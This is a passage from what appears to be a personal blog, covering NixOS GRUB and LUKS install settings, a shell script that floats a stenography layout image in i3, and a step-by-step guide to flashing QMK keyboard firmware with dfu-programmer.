# Use the GRUB 2 boot loader.
boot.loader.grub = {
  enable = true;
  version =2;
  device = "nodev";
  efiSupport = true;
  enableCryptodisk = true;
};

boot.initrd.luks.devices = {
 root = {
   device = "/dev/disk/by-uuid/VENDOR-UUID"; ## Use blkid to find this UUID
   # Required even if we're not using LVM
   preLVM = true;
 };
};

To get the networking.hostId use the following command:

head -c 8 /etc/machine-id

To get the luks encrypted partition use the following command:

blkid | grep $DISK

The vendor UUID you should look for should be the one with PARTLABEL="root"

Note: You might have to comment out the boot.loader.grub section out in order to run nixos-install

NixOS installation

If we’re done with all of the configuration as described above, we should be able to build a bootable system. Let’s try that out by installing NixOS.

nixos-install

Resources

https://nixos.wiki/wiki/ZFS

https://blog.lazkani.io/posts/nixos-on-encrypted-zfs/

https://ipetkov.dev/blog/installing-nixos-and-zfs-on-my-desktop/

I have been exploring the deepest ends of typing, ergonomics, and stenography recently. I thought about building a georgi keyboard but lack of scad files, time, and my busy school schedule made that idea a mote point. I decided to pickup an off the shelf steno machine, the uni v4, since it was cost and time efficient.

Now the biggest challenge is learning the layout of the uni and putting in the practice hours to reap the life long rewards of typing close to the speed of my thoughts. To use the uni you have to install plover, an open source stenotype engine that translates mechanical keyboards presses to words with little to no latency. The instructions and documentation provided for the uni is great.

I find it very easy to learn new skills by creating a productive environment that facilitates the learning of this new skill. Linux makes it very easy to customize your desktop environment to ease the learning process.

I simply wanted to have a floating image of the uni steno layout floating on my window while i practice, something like this:

This is great since I do not have to look down at the board when chording on the uni.

These are the following pieces of software and hacks I used to make this happen:

• i3wm, a tiling window manager
• kitty, a graphical terminal
• nixos, a text based linux distro
• miscellaneous linux tools
• community forum answers: https://unix.stackexchange.com/a/474300

i3 handles the keybinding to execute the process and floats the window. Kitty creates a bash process that forks another kitty process running a kitty icat kitten to display the image in the terminal.

The following was added to my i3.nix to enable i3 to bind the floatimage script to Alt+Shift+M,

"${mod}+Shift+m" = "exec kitty --title floatimage_window ${local_bin}/floatimage";

The following snippet was also added to my i3.nix configuration file to float the window created,

for_window [ title="floatimage_window" ] floating enable resize set 640 260
title_align center

I then created the script:

#!/bin/sh

# TODO make image dmenu selectable
imageFilename="$HOME/Dropbox/learn/stenography/uni-layout.png"

if [ ! -f $noteFilename ]; then
  echo "File $imageFilename is not there, aborting."
  exit
fi

kitty +kitten icat $imageFilename &
# sxiv $imageFilename &
pid="$!"

# Wait for the window to open and grab its window ID
winid=''
while : ; do
    winid="`wmctrl -lp | awk -vpid=$pid '$3==pid {print $1; exit}'`"
    [[ -z "${winid}" ]] || break
done

# Focus the window we found
wmctrl -ia "${winid}"

# Make it float
i3-msg floating enable > /dev/null;

# Move it to the center for good measure
i3-msg move position center > /dev/null;

# Wait for the application to quit
wait "${pid}";

I chmoded the script and put it in my PATH so that my shell could find it.

nota bene

The script has drifted since I wrote this. kitty’s icat kitten gave way to ghostty driving chafa, which draws the image as terminal graphics and holds the window open until a keypress, and the layout image itself moved from Dropbox to iCloud. It also sets its own window title now, so the i3 binding no longer has to. The guard above was quietly broken too: it tested $noteFilename, which is never set anywhere, and an unset unquoted variable collapses it to [ ! -f ] - always false, so it never fired and the script carried on with a missing image. It checks $imageFilename now. The version I run today:

#!/bin/sh

# TODO make image dmenu selectable
imageFilename="$HOME/iCloud/learn/stenography/uni-layout.png"

if [ ! -f "$imageFilename" ]; then
  echo "File $imageFilename is not there, aborting."
  exit
fi

ghostty --title=floatimage_window -e sh -c "chafa \"$imageFilename\"; read -rsp 'Press any key to close...' -n1" &
# sxiv $imageFilename &
pid="$!"

# Wait for the window to open and grab its window ID
winid=''
while : ; do
    winid="`wmctrl -lp | awk -vpid=$pid '$3==pid {print $1; exit}'`"
    [[ -z "${winid}" ]] || break
done

wmctrl -ia "${winid}"

i3-msg floating enable > /dev/null;

i3-msg move position center > /dev/null;

wait "${pid}";

• Search for the dfu-programmer for your distro and install it. On NixOs it’s easy as:

  nix-env -iA nixos.dfu-programmer
  

• on ubuntu

  sudo apt-get install dfu-programmer 
  

• on arch linux

  sudo pacman -S dfu-programmer
  

• Create or get the hex file you want to compile

  cd ~/.qmk_firmware
  qmk compile -kb handwired/dactyl_manuform/5x6 -km colemak-dh
  ls ./handwired_dactyl_manuform_5x6_colemak-dh
  

• Make sure your microcontroller is connected via usb and verify with lsusb

  lsusb
  

• Press the hardware reset button on your microcontroller to put the system into bootloader mode

• Check to see if the device is recognized by dfu-programmer

  # dfu-programmer name_of_board command_to_execute_on_board
   dfu-programmer atmega32u4 get
  

  this should output the bootloader version number.

• Erase the current firmware to prep the board for the new firmware you want to flash

  dfu-programmer atmega32u4 erase --force 
  

• Flash the file to the microcontroller board

  dfu-programmer atmega32u4 flash ./handwired_dactyl_manuform_5x6_colemak-dh.hex 
  

• Reset the board ( I honestly do not know why you have type this command but you cannot start using your keeb unless you type this command or disconnect and reconnect your microcontroller.

  dfu-programmer atmega32u4 reset
  

resources

man dfu-programmer

See https://dfu-programmer.github.io/
See SUPPORTED MICROCONTROLLERS section of the dfu-programmer man page for the supported microcontrollers.